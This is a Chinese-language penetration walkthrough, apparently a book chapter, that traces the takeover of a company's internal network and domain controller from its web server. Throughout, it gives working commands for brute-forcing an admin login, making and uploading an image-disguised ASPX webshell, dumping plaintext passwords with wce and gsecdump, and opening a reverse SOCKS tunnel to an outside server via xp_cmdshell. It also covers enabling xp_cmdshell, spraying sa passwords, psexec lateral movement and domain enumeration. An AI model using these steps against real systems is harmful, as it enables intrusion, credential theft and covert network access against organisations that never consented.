一些公司公司其内部网络跟web服务器直接相连,虽然在出口做了安全限制,仅仅允许80端口对外进行连接,但如果提供web服务的站点存在安全隐患,通过渗透,获取webshell,通过webshell提权,通过代理程序直接穿透内网,进而控制整个域控和内网服务器,在本例中,通过暴力破解,成功获取其后台管理员弱口令,通过弱口令获取webshell,进而控制整个内网域控。
目录
4.1.1获取webshell
1.暴力破解后台口令
通过burpsuite对该网站进行暴力破解,字典选用top10000,暴力破解成功,获取账号:lib密码:,使用该账号及密码登录后台系统,如图1所示。
图1 登录后台
2.端口信息扫描
使用masscan –p 1-65534 218.*.**.**2进行全端口扫描,扫描结果如图2所示,对其中的端口逐个进行测试,未发现对外开启远程终端服务。
Discovered open port 9080/tcp on 218.*.**.**2 web服务
Discovered open port 443/tcp on 218.*.**.**2 无法访问
Discovered open port 8020/tcp on 218.*.**.**2 web服务
Discovered open port 85/tcp on 218.*.**.**2 web服务
Discovered open port 1000/tcp on 218.*.**.**2 无法访问
Discovered open port 80/tcp on 218.*.**.**2 tomcat
Discovered open port 51111/tcp on 218.*.**.**2 无法访问
Discovered open port 8877/tcp on 218.*.**.**2 对外提供web服务
图2端口扫描
3.后台上传获取webshell
(1)制作一句话图片木马文件
使用copy /b cmd.jpg+cmd.aspx cmd.aspx;.jpg命令合成一句话后门图片木马,如图3所示,事先准备好一张图片文件cmd.jgp,和一句话后门木马文件cmd.aspx
图3制作一句话图片木马文件
(2)后台上传一句话图片木马文件
如图4所示在后台管理中,通过封面图片直接上传一句话图片木马文件。
图4上传图片木马文件
(3)获取webshell
通过中国菜刀连接一句话后门,并上传大马进行管理。
4.1.2获取服务器权限
1.获取mssql口令sa
通过webshell对其配置文件web.config文件进行查看,获取其数据库账号sa的密码为sa,通过webshell的数据库管理进行连接查看,如图5所示,数据库为MSSQL 2008,当前用户为系统权限。
图5获取系统权限
2.获取服务器密码
通过systeminfo命令获取当前服务器是X86架构,上传wce32位程序,执行“wce –w”命令成功获取当前服务器所有登录明文密码,如图6所示。
图6获取服务器密码
4.1.3配置及设置代理
1.设置独立外网IP代理
将ew_for_Win复制到一个具备独立外网IP的服务器上,执行命令:
ew_for_Win.exe -s rcsocks -l 1080 -e 8888
该命令在该独立服务器上建立socks5代理,代理端口为1080,连接端口为8888,如图7所示。
图7建立socks5代理
2.执行ew代理
在目标服务器上通过webshell,在Database中直接连接服务器,然后选择XP_cmdshell exec模块,如图8所示,执行命令“Exec master.dbo.xp_cmdshell ew -s rssocks -d 139.***.***.** -e 8888”,连接前面建立的sock5服务器,其中139.***.***.**为独立IP外网服务器,8888端口为sock5代理端口。
图8连接socks5代理服务器
3.设置并测试Proxifier
在Proxifier中设置代理服务器地址139.***.***.**,端口为1080,类型为sock5,然后运行代理检查器,检查代理是否连通,如图8所示,代理测试正常,可以使用。
4.1.4进入内网并扩展渗透
1.登录3389
使用mstsc直接登录192.168.100.133服务器,如图10所示,登录成功后,可以看到其整个网络中有group和Llqdomain。
图9登录内网服务器
2.扫描mssql口令
使用sqlping工具,设置用户为sa,密码文件为前面获取的密码,以及从源代码获取的数据库连接密码,设置扫描IP地址范围为192.100.100.1-192.100.100.254,如图10所示,对其进行扫描,结果获取192.100.100.26、192.100.100.33、192.100.100.35、192.100.100.133、192.100.100.148五台SQLServer sa账号密码。
192.100.100.26 sa *********
192.100.100.35 sa *********
192.100.100.33 sa *********
192.100.100.133 sa sa
192.100.100.148 sa *********
图10扫描内网MSSQL口令
3.对mssql数据库服务器进行提权和获取密码
对前面获取的MSSQL数据库服务器逐个进行连接并提权,如果其中xp_cmdshell存储过程不存在或者没有开启,可以在SQL命令中执行以下语句:
EXEC sp_configure show advanced options, 1;RECONFIGURE;EXEC sp_configure xp_cmdshell, 1;RECONFIGURE;
如图11所示,通过SQLTOOL可以很方便的执行添加用户及用户到管理员组中,通过3389登录该服务器,使用wce等工具来获取提权服务器的密码,在此就不赘述。
图11MSSQL提权
4.对内网服务器进行口令扫描
对前面获取的密码进行简单的组合,然后添加在ntscan的NT_pass.dic文件中,设置扫描的开始IP和结束IP,如图12所示,进行扫描,结果显示获取7台服务器管理账号及口令,很多内网服务器设置相同口令。
图12进行口令扫描
5.获取域控服务器信息
(1)获取域控IP地址
通过ipconfig /all命令获取当前服务器所在IP的配置情况,如图13所示,其中DNS地址为192.100.100.6,该地址即为域控服务器。在网络配置中,该web服务器没有使用域控命名规则,但该服务器未在域控中。
图13获取域控服务器IP信息
(2)渗透获取口令的服务器
依次使用下面命令,来获取命令终端
net use \\192.100.100.15\admin$ "*********" /u:administrator
copy wce.exe \\192.100.100.15\c$\wce.exe
psexec \\192.100.100.15 cmd
通过对比其“net Localgroup dministrators”命令可以看出web服务器不在域控内,而192.100.100.15在域控内,如图14所示。
图14域控中的服务器
4.1.5域控服务器渗透
1.渗透域控相关命令
查询本机用户列表:net user
查询本机管理员[通常含有域用户]:net localgoup administrators
查询域管理员用户:net group "domain admins" /domain
查询域用户:net user /domain
查询域里面的工作组:net group /domain
查询域名称:net view /domain
查询域内计算机:net view /domain:XX
查询域控制器:net time /domain
查询域管理员用户组:net localgroup administrators /domain
域用户添加到本机 net localgroup administrators workgroup\user001 /add
查看域控制器(如果有多台):net group "Domain controllers"
查询本机IP段,所在域等:ipconfig /all
查询同一域内机器列表:net view
查询所有域控制器:dsquery server
2.域控内服务器密码获取
在192.100.100.15上通过gsecdump –a 及wce –w命令获取该服务器上的明文及哈希密码值,如图15所示。
图15域控内服务器密码获取
3.继续登录获取口令服务器
在192.100.100.148服务器上使用wce –w成功获取域控管理员密码,如图16所示。
图16获取域控密码